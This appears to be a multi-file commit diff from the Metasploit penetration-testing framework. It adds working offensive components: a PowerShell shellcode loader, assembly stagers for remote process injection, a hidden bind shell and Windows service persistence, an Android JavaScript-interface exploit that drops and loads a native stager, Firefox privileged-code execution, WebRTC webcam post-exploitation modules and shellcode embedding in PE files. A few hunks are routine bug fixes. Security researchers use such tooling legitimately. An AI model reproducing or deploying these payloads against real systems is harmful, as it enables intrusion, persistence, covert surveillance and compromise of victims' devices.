channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, file):
channel.write(channel_data)
elif isinstance(channel, subprocess.Popen):
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.stdin.write(channel_data)
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
@ -485,13 +520,17 @@ class PythonMeterpreter(object):
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
if DEBUGGING:
print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
except Exception:
if DEBUGGING:
print('[-] method ' + handler_name + ' resulted in an error')
traceback.print_exc(file=sys.stderr)
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
if DEBUGGING:
print('[-] method ' + handler_name + ' was requested but does not exist')
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
@ -499,6 +538,9 @@ class PythonMeterpreter(object):
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
met = PythonMeterpreter(s)
met.run()

BIN
data/meterpreter/metsrv.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/metsrv.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/screenshot.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/screenshot.x86.dll Executable file → Normal file

Binary file not shown.

View File

@ -11,7 +11,7 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n
%{shellcode}
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null

View File

@ -10,7 +10,7 @@
height: 480px;
width: 640px;
border-radius: 15px;
-moz-border-raidus: 15px;
-moz-border-radius: 15px;
background-color: black;
position: absolute;
left: 50;
@ -26,7 +26,7 @@
height: 180px;
width: 200px;
border-radius: 15px;
-moz-border-raidus: 15px;
-moz-border-radius: 15px;
background-color: #9B9B9B;
position: absolute;
top: 480;
@ -66,8 +66,9 @@
left: 10;
}
</style>
<script src="=WEBRTCAPIJS="> </script>
<script>
=WEBRTCAPIJS=
window.onerror = function(e) {
document.getElementById("message").innerHTML = "Error: " + e.toString();
}

View File

@ -2,6 +2,10 @@
<head>
<title>Video session</title>
<style type="text/css">
body {
background: #fff;
}
div.dot1 {
position: absolute;
width: 20px;
@ -84,8 +88,9 @@
}
</style>
<script src="api.js"> </script>
<script>
=WEBRTCAPIJS=
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
@ -136,10 +141,12 @@
};
window.onload = function() {
setTimeout(function(){
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
}, 500);
};
function getUserMedia(callback) {

View File

@ -0,0 +1,82 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 307 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
xor edi, edi
push 0x00000004 ;PAGE_READWRITE
push 0x00001000 ;MEM_COMMIT
push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
push edi
push 0xE553A458 ;call VirtualAlloc()
call ebp
mov dword [eax], 0x44
lea esi, [eax+0x44]
push edi
push 0x6578652e
push 0x32336c6c
push 0x646e7572
mov ecx, esp ;"rundll32.exe"
push esi ;lpProcessInformation
push eax ;lpStartupInfo
push edi ;lpCurrentDirectory
push edi ;lpEnvironment
push 0x00000044 ;dwCreationFlags
push edi ;bInheritHandles
push edi ;lpThreadAttributes
push edi ;lpProcessAttributes
push ecx ;lpCommandLine
push edi ;lpApplicationName
push 0x863FCC79
call ebp ;call CreatProcessA()
mov ecx, [esi]
push 0x00000040 ;PAGE_EXECUTE_READWRITE
push 0x00001000 ;MEM_COMMIT
push 0x00001000 ;Next Shellcode Size
push edi
push ecx ;hProcess
push 0x3F9287AE ;call VirtualAllocEx()
call ebp
call me2
me2:
pop edx
mov edi, eax
mov ecx, [esi]
add dword edx, 0x112247 ;pointer on the next shellcode
push esp
push 0x00001000 ;Next Shellcode Size
push edx ;
push eax ;lBaseAddress
push ecx ;hProcess
push 0xE7BDD8C5
call ebp ;call WriteProcessMemory()
xor eax, eax
mov ecx, [esi]
push eax ;lpThreadId
push eax ;dwCreationFlags
push eax ;lpParameter
push edi ;lpStartAddress
push eax ;dwStackSize
push eax ;lpThreadAttributes
push ecx ;hProcess
push 0x799AACC6
call ebp ;call CreateRemoteThread()
mov ecx, [esi]
push ecx
push 0x528796C6
call ebp ;call CloseHandle()
mov ecx, [esi+0x4]
push ecx
push 0x528796C6
call ebp ;call CloseHandle()

View File

@ -0,0 +1,91 @@
;-----------------------------------------------------------------------------;
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
; Modified version to add Hidden ACL support: Borja Merino (bmerinofe@gmail.com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (February 2014)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save a pointer to sockaddr_in struct
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
; Hidden ACL Support ----------
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
push 0x3002 ; level at which the option is defined: SOL_SOCKET
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
push edi ; socket descriptor
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
push ebx ; backlog
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
condition:
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
call wsaaccept ; push the start of the condition function on the stack
mov eax, DWORD [esp+4] ;
mov eax, DWORD [eax+4] ;
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
jz return ; if equal returns CF_ACCEPT
xor eax, eax ; If not equal, the condition function returns CF_REJECT
inc eax
return:
retn 0x20 ; some stack alignment needed to return to mswsock
wsaaccept:
push ebx ; length of the sockaddr = nul
push ebx ; struct sockaddr = nul
push edi ; socket descriptor
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
inc eax
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
dec eax
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );

View File

@ -0,0 +1,64 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
push byte 0x0
push 0x32336970
push 0x61766461
push esp
push 0x726774c
call ebp ;load advapi32.dll
push 0x00454349
push 0x56524553
mov ecx, esp ;ServiceTableEntry.SVCNAME
lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
push 0x00000000
push eax
push ecx
mov eax,esp
push 0x00000000
push eax
push 0xCB72F7FA
call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
push 0x00000000
push 0x56A2B5F0
call ebp ;call ExitProcess(0)
pop eax ;SvcCtrlHandler
pop eax
pop eax
pop eax
xor eax,eax
ret
cld ;SvcMain
call me
me:
pop ebp
sub ebp, 0xd6 ;ebp => hashFunction
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
lea eax, [ebp+0xc9];SvcCtrlHandler
push 0x00000000
push eax
push ecx
push 0x5244AA0B
call ebp ;RegisterServiceCtrlHandlerExA
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000004
push 0x00000010
mov ecx, esp
push 0x00000000
push ecx
push eax
push 0x7D3755C6
call ebp ;SetServiceStatus RUNNING

View File

@ -0,0 +1,41 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
push 0x000F003F
push 0x00000000
push 0x00000000
push 0x7636F067
call ebp ;OpenSCManagerA
mov edi, eax
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
push 0x000F01FF
push ecx
push eax
push 0x404B2856
call ebp ;OpenServiceA
mov esi, eax
push 0x00464349
push 0x56524553
mov ecx, esp
push 0x00000000
push ecx
mov ecx, esp ;SVCDESCRIPTION
push ecx
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
push eax
push 0xED35B087
call ebp ;ChangeServiceConfig2A
push esi
push 0xAD77EADE ;CloseServiceHandle
call ebp
push edi
push 0xAD77EADE ;CloseServiceHandle
call ebp

View File

@ -0,0 +1,45 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
call me3
me3:
pop edi
jmp 0x7
pop eax
pop eax
pop eax
pop eax
xor eax,eax
ret
push 0x00464349
push 0x56524553
mov ecx, esp ;SVCNAME
lea eax, [edi+0x3];SvcCtrlHandler
push 0x00000000
push eax
push ecx
push 0x5244AA0B
call ebp ;RegisterServiceCtrlHandlerExA
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000000
push 0x00000001
push 0x00000010
mov ecx, esp
push 0x00000000
push ecx
push eax
push 0x7D3755C6
call ebp ;SetServiceStatus RUNNING
push 0x0
push 0x56a2b5f0
call ebp ;ExitProcess

View File

@ -0,0 +1,16 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 307 bytes
; Build: >build.py single_create_remote_process
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_create_remote_process.asm"

View File

@ -0,0 +1,23 @@
;-----------------------------------------------------------------------------;
; Author: agix (florian.gaultier[at]gmail[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Size: 448 bytes
; Build: >build.py single_service_stuff
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_service.asm"
%include "./src/block/block_service_change_description.asm"
%include "./src/block/block_create_remote_process.asm"
%include "./src/block/block_service_stopped.asm"
push edi
push 0x56A2B5F0
call ebp ;call ExitProcess(0)

View File

@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (28 July 2009)
; Size: 341 bytes
; Build: >build.py single_shell_bind_tcp
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
%include "./src/block/block_hidden_bind_tcp.asm"
; By here we will have performed the bind_tcp connection and EDI will be out socket.
%include "./src/block/block_shell.asm"
; Finish up with the EXITFUNK.
%include "./src/block/block_exitfunk.asm"

View File

@ -678,7 +678,7 @@ class DBManager
union.or(condition)
}
query = query.where(unioned_conditions).uniq
query = query.where(unioned_conditions).to_a.uniq { |m| m.fullname }
end
query

View File

@ -0,0 +1,101 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
module Exploit::Android
# Since the NDK stager is used, arch detection must be performed
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
# Most android devices are ARM
DEFAULT_ARCH = ARCH_ARMLE
# Some of the default NDK build targets are named differently than
# msf's builtin constants. This mapping allows the ndkstager file
# to be looked up from the msf constant.
NDK_FILES = {
ARCH_ARMLE => 'armeabi',
ARCH_MIPSLE => 'mips'
}
def add_javascript_interface_exploit_js(arch)
stagename = Rex::Text.rand_text_alpha(5)
script = %Q|
function exec(runtime, cmdArr) {
var ch = 0;
var output = '';
var process = runtime.exec(cmdArr);
var input = process.getInputStream();
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
return output;
}
function attemptExploit(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
// get the pid
var pid = obj.getClass()
.forName('android.os.Process')
.getMethod('myPid', null)
.invoke(null, null);
// get the runtime so we can exec
var runtime = obj.getClass()
.forName('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
// LibraryData is loaded via ajax later, because we have to access javascript in
// order to detect what arch we are running.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
return true;
}
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
# remove comments and empty lines
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
end
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
data = File.read(localfile, :mode => 'rb')
data.gsub!('PLOAD', stagename)
end
end
end

View File

@ -122,7 +122,7 @@ module Exploit::FileDropper
end
@dropped_files.each do |f|
print_warning("This exploit may require manual cleanup of: #{f}")
print_warning("This exploit may require manual cleanup of '#{f}' on the target")
end
end

View File

@ -102,4 +102,8 @@ require 'msf/core/exploit/web'
require 'msf/core/exploit/remote/firefox_privilege_escalation'
require 'msf/core/exploit/remote/firefox_addon_generator'
# Android
require 'msf/core/exploit/android'
# Browser Exploit Server
require 'msf/core/exploit/remote/browser_exploit_server'

View File

@ -22,7 +22,7 @@ module Exploit::PDF
)
# We're assuming we'll only create one pdf at a time here.
@xref = []
@xref = {}
@pdf = ''
end
@ -148,23 +148,18 @@ module Exploit::PDF
#PDF building block functions
##
def header(version = '1.5')
hdr = "%PDF-1.5" << eol
hdr = "%PDF-#{version}" << eol
hdr << "%" << RandomNonASCIIString(4) << eol
hdr
end
def add_object(num, data)
@xref << @pdf.length
@xref[num] = @pdf.length
@pdf << ioDef(num)
@pdf << data
@pdf << endobj
end
def range_rand(min,max)
until min < r=rand(max); end
return r
end
def finish_pdf
@xref_offset = @pdf.length
@pdf << xref_table
@ -174,12 +169,19 @@ module Exploit::PDF
end
def xref_table
id = @xref.keys.max+1
ret = "xref" << eol
ret << "0 %d" % (@xref.length + 1) << eol
ret << "0 %d" % id << eol
ret << "0000000000 65535 f" << eol
@xref.each do |index|
ret << "%010d 00000 n" % index << eol
ret << (1..@xref.keys.max).map do |index|
if @xref.has_key?(index)
offset = @xref[index]
"%010d 00000 n" % offset << eol
else
"0000000000 00000 f" << eol
end
end.join
ret
end
@ -196,7 +198,11 @@ module Exploit::PDF
end
def eol
"\x0d\x0a"
@eol || "\x0d\x0a"
end
def eol=(new_eol)
@eol = new_eol
end
def endobj
@ -267,7 +273,7 @@ module Exploit::PDF
#Create PDF with Page implant
##
def pdf_with_page_exploit(js,strFilter)
@xref = []
@xref = {}
@pdf = ''
@pdf << header
@ -290,7 +296,7 @@ module Exploit::PDF
# you try to merge the exploit PDF with an innocuous one
##
def pdf_with_openaction_js(js,strFilter)
@xref = []
@xref = {}
@pdf = ''
@pdf << header
@ -313,7 +319,7 @@ module Exploit::PDF
#Create PDF with a malicious annotation
##
def pdf_with_annot_js(js,strFilter)
@xref = []
@xref = {}
@pdf = ''
@pdf << header
@ -332,5 +338,6 @@ module Exploit::PDF
finish_pdf
end
end
end

View File

@ -14,10 +14,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
# privileged javascript context
# @return [String] the results that were sent back. This can be achieved through
# calling the "send" function, or by just returning the value in +js+
def js_exec(js)
def js_exec(js, timeout=30)
print_status "Running the privileged javascript..."
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
end
# Puts the shellcode into memory, adds X flag, and calls it

View File

@ -51,8 +51,11 @@ module Exploit::Remote::SMB::Psexec
# instead of all the ghetto "rescue ::Exception" madness
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @param service_description [String] Service Description
# @param service_name [String] Service Name
# @param display_name [Strnig] Display Name
# @return [Boolean] Whether everything went well
def psexec(command, disconnect=true, service_description=nil)
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
@ -70,8 +73,8 @@ module Exploit::Remote::SMB::Psexec
print_error("#{peer} - Error getting scm handle: #{e}")
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
servicename = service_name || Rex::Text.rand_text_alpha(11)
displayname = display_name || Rex::Text.rand_text_alpha(16)
svc_handle = nil
svc_status = nil

View File

@ -18,7 +18,7 @@ class Framework
Major = 4
Minor = 9
Point = 2
Point = 3
Release = "-dev"
if(Point)

View File

@ -70,13 +70,19 @@ module Msf::Module::Deprecated
print_warning("*"*72)
end
def init_ui(input = nil, output = nil)
super(input, output)
print_deprecation_warning
@you_have_been_warned = true
end
def generate
print_deprecation_warning
super
end
def setup
print_deprecation_warning
print_deprecation_warning unless @you_have_been_warned
super
end

View File

@ -31,5 +31,36 @@ module Msf::Payload::Dalvik
[str.length].pack("N") + str
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
end
def generate_cert
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
)
key = OpenSSL::PKey::RSA.new(1024)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = x509_name
cert.issuer = x509_name
cert.public_key = key.public_key
# Some time within the last 3 years
cert.not_before = Time.now - rand(3600*24*365*3)
# From http://developer.android.com/tools/publishing/app-signing.html
# """
# A validity period of more than 25 years is recommended.
#
# If you plan to publish your application(s) on Google Play, note
# that a validity period ending after 22 October 2033 is a
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
return cert, key
end
end

View File

@ -16,6 +16,37 @@ module Msf::Payload::Firefox
|
end
# Javascript source of readUntilToken(s)
# Continues reading the stream as data is available, until a pair of
# command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
#
# Returns a function that can be passed to the #onDataAvailable callback of
# nsIInputStreamPump that will buffer until a second token is read, or, in
# the absence of any tokens, a newline character is read.
#
# @return [String] javascript source code that exposes the readUntilToken(cb) function
def read_until_token_source
%Q|
var readUntilToken = function(cb) {
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var buffer = '', m = null;
return function(request, context, stream, offset, count) {
buffer += NetUtil.readInputStreamToString(stream, count);
if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
cb(m[2]);
buffer = '';
}
} else if (buffer.indexOf("\\n") > -1) {
cb(buffer);
buffer = '';
}
};
};
|
end
# Javascript source code of readFile(path) - synchronously reads a file and returns
# its contents. The file is deleted immediately afterwards.
#
@ -189,4 +220,5 @@ module Msf::Payload::Firefox
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
end
end

View File

@ -9,6 +9,7 @@ class Msf::Post < Msf::Module
require 'msf/core/post_mixin'
require 'msf/core/post/file'
require 'msf/core/post/webrtc'
require 'msf/core/post/linux'
require 'msf/core/post/osx'

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
module Msf::Post::WebRTC
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
interface.gsub!(/\=SERVER\=/, server)
interface.gsub!(/\=RHOST\=/, rhost)
interface.gsub!(/\=CHANNEL\=/, channel)
interface.gsub!(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new(['answerer', '.html'])
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code)
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end

View File

@ -299,7 +299,6 @@ require 'msf/core/exe/segment_injector'
end
def self.to_winpe_only(framework, code, opts={}, arch="x86")
if arch == ARCH_X86_64
arch = ARCH_X64
end
@ -314,26 +313,56 @@ require 'msf/core/exe/segment_injector'
exe = fd.read(fd.stat.size)
}
sections_header = []
pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
pe_header_size = 0x18
entryPoint_offset = 0x28
section_size = 0x28
characteristics_offset = 0x24
virtualAddress_offset = 0x0c
sizeOfRawData_offset = 0x10
sections_table_offset =
pe._dos_header.v['e_lfanew'] +
pe._file_header.v['SizeOfOptionalHeader'] +
pe_header_size
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
sections_header = []
pe._file_header.v['NumberOfSections'].times { |i|
section_offset = sections_table_offset + (i * section_size)
sections_header << [
sections_table_characteristics_offset + (i * section_size),
exe[section_offset,section_size]
]
}
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
characteristics = sec[1][0x24,0x4].unpack('L')[0]
if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - (code.length + 4)
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
end
# put this section writable
characteristics|=0x80000000
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('L')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
# put the shellcode at the entry point, overwriting template
exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
return exe
end
@ -383,6 +412,33 @@ require 'msf/core/exe/segment_injector'
return pe
end
# Splits a string into a number of assembly push operations
#
# @param string [String] string to be used
#
# @return [String] null terminated string as assembly push ops
def self.string_to_pushes(string)
str = string.dup
# Align string to 4 bytes
rem = (str.length) % 4
if (rem > 0)
str << "\x00" * (4 - rem)
pushes = ''
else
pushes = "h\x00\x00\x00\x00"
end
# string is now 4 bytes aligned with null byte
# push string to stack, starting at the back
while (str.length > 0)
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
def self.exe_sub_method(code,opts ={})
pe = ''
@ -462,11 +518,82 @@ require 'msf/core/exe/segment_injector'
exe_sub_method(code,opts)
end
# Embeds shellcode within a Windows PE file implementing the Windows
# service control methods.
#
# @param framework [Object]
# @param code [String] shellcode to be embedded
# @option opts [Boolean] :sub_method use substitution technique with a
# service template PE
# @option opts [String] :servicename name of the service, not used in
# substituion technique
#
# @return [String] Windows Service PE file
def self.to_win32pe_service(framework, code, opts={})
if opts[:sub_method]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
return exe_sub_method(code,opts)
else
name = opts[:servicename]
name ||= Rex::Text.rand_text_alpha(8)
pushed_service_name = string_to_pushes(name)
precode_size = 0xc6
svcmain_code_offset = precode_size + pushed_service_name.length
precode_size = 0xcc
hash_code_offset = precode_size + pushed_service_name.length
precode_size = 0xbf
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
code_service_stopped =
